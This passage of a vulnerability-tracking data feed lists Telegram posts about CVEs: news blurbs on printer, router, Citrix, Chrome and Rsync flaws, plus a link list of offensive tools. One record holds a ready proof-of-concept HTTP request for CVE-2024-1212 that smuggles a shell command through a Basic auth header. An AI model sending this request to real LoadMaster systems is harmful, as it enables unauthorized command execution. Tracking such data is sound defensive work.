"2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/thehackernews/6357", "content": "\ud83d\udea8 Security vulnerabilities in Xerox VersaLink printers could allow attackers to steal authentication credentials via pass-back attacks, exposing critical systems.\n\nCVE-2024-12510 and CVE-2024-12511 impact LDAP and SMB/FTP services and could lead to compromised Windows Active Directory access.\n\nGet the full details: https://thehackernews.com/2025/02/new-xerox-printer-flaws-could-let.html", "creation_timestamp": "2025-02-18T08:09:42.000000Z"}, {"uuid": "fbecc65a-554d-40cf-a5d2-5bfc467cdfa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/thehackernews/6371", "content": "Citrix has patched a severe flaw in NetScaler Console & Agent (CVE-2024-12284) with a CVSS score of 8.8.\n\nThis privilege escalation bug could allow authenticated attackers to execute unauthorized actions.\n\nUPDATE immediately to the latest versions.\n\nRead: https://thehackernews.com/2025/02/citrix-releases-security-fix-for.html", "creation_timestamp": "2025-02-20T05:54:02.000000Z"}, {"uuid": "94aeb37e-7f32-46ac-9c96-a71b1c47ff5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/thehackernews/6468", "content": "\u26a0\ufe0f A critical flaw (CVE-2024-12297) in Moxa PT switches could let attackers bypass authentication, with a CVSS score of 9.2/10.\n\nThis could lead to unauthorized access or service disruptions.\n\nProtect your systems now: https://thehackernews.com/2025/03/moxa-issues-fix-for-critical.html", "creation_timestamp": "2025-03-11T07:49:31.000000Z"}, {"uuid": "cb3982a9-104b-428d-ac0d-f248cd825256", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://t.me/CyberBulletin/26963", "content": "\u26a1\ufe0fFour-Faith Industrial Routers Under Attack: CVE-2024-12856 Exploited in the Wild.\n\n#CyberBulletin", "creation_timestamp": "2024-12-30T13:08:06.000000Z"}, {"uuid": "3f9fcf43-5aa1-49a6-a7a2-154c02b636e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://t.me/CyberBulletin/26904", "content": "\u26a1\ufe0fCVE-2024-12828 (CVSS 9.9): Webmin Vulnerability Leaves a Million Servers Exposed to RCE.\n\n#CyberBulletin", "creation_timestamp": "2024-12-24T09:07:54.000000Z"}, {"uuid": "4ba13427-88b1-407e-9ad3-9fa080436f53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://t.me/CyberBulletin/27034", "content": "\u26a1\ufe0fCVE-2024-12912 & CVE-2024-13062: ASUS Routers at Risk.\n\n#CyberBulletin", "creation_timestamp": "2025-01-03T06:34:25.000000Z"}, {"uuid": "af14ac2d-481b-4a5b-94ef-96232a36ad40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/GhostClanInt/24801", "content": "Tools - Hackers Factory\n\nResources for Mobile Application Testing\n\nhttps://github.com/0xSojalSec/Mobile-Application-Security\n\nCVE-2024-1212: Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.\n\nhttps://github.com/Chocapikk/CVE-2024-1212\n\nbug_bounty_scripts\n/firebase-scanner.py\n\nhttps://github.com/geeknik/bug_bounty_scripts/blob/main/firebase-scanner.py\n\nIndirect syscalls + DInvoke made simple.\n\nhttps://github.com/nbaertsch/nimvoke\n\nWindows Kernel Pool (clfs.sys) Corruption Privilege Escalation\n\nhttps://github.com/Nassim-Asrir/CVE-2023-36424\n\nOSINT tools for Information gathering, Cybersecurity, Reverse searching, bugbounty, trust and safety, red team oprations and more.\n\nhttps://github.com/Astrosp/Awesome-OSINT-For-Everything\n\nRembg is a tool to remove images background\n\nhttps://github.com/danielgatis/rembg\n\nHiddenVM \u2014 Use any desktop OS without leaving a trace.\n\nhttps://github.com/aforensics/HiddenVM\n\nGooFuzz is a tool to perform fuzzing with an OSINT approach, managing to enumerate directories, files, subdomains or parameters without leaving evidence on the target's server and by means of advanced Google searches (Google Dorking).\n\nhttps://github.com/m3n0sd0n4ld/GooFuzz\n\nRustRedOps is a repository dedicated to gathering and sharing advanced techniques and offensive malware for Red Team, with a specific focus on the Rust programming language.\n\nhttps://github.com/joaoviictorti/RustRedOps\n\n#HackersFactory", "creation_timestamp": "2024-03-25T00:00:20.000000Z"}, {"uuid": "02764c12-5287-4762-b473-3d7bfaf36030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "https://t.me/CyberBulletin/26760", "content": "\u26a1\ufe0fGoogle Chrome Patches High-Severity Vulnerabilities \u2013 CVE-2024-12381 & CVE-2024-12382.\n\n#CyberBulletin", "creation_timestamp": "2024-12-11T14:54:42.000000Z"}, {"uuid": "14e937ae-cefd-4bfb-85a9-bd35ceef8216", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "https://t.me/CyberBulletin/26760", "content": "\u26a1\ufe0fGoogle Chrome Patches High-Severity Vulnerabilities \u2013 CVE-2024-12381 & CVE-2024-12382.\n\n#CyberBulletin", "creation_timestamp": "2024-12-11T14:54:42.000000Z"}, {"uuid": "4119efcb-700f-41e0-86a7-b57e0a8d01f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12209", "type": "seen", "source": "https://t.me/CyberBulletin/26733", "content": "\u26a1\ufe0fCVE-2024-12209 (CVSS 9.8): WP Umbrella Plugin Vulnerability Exposes 30,000 Websites to Compromise.\n\n#CyberBulletin", "creation_timestamp": "2024-12-08T11:24:46.000000Z"}, {"uuid": "92899e22-01ae-49cc-b608-e562e1649d8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://t.me/CyberBulletin/26995", "content": "\u26a1\ufe0fCVE-2024-12108 (CVSS 9.6) and Beyond: Progress Issues Critical Patch for WhatsUp Gold Network Monitoring Software.\n\n#CyberBulletin", "creation_timestamp": "2025-01-02T12:15:09.000000Z"}, {"uuid": "03d66a27-4dbd-4a5d-b464-d30709e41dfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2408", "content": "cve-2024-1212\n\nGET /access/set?param=enableapi&value=1 HTTP/1.1\nHost: your-ip\nAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=\n\n#poc #exploit", "creation_timestamp": "2024-05-01T12:15:39.000000Z"}, {"uuid": "26a5ece4-e501-4517-b74a-de9104babf3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "exploited", "source": "https://t.me/S_E_Reborn/5357", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 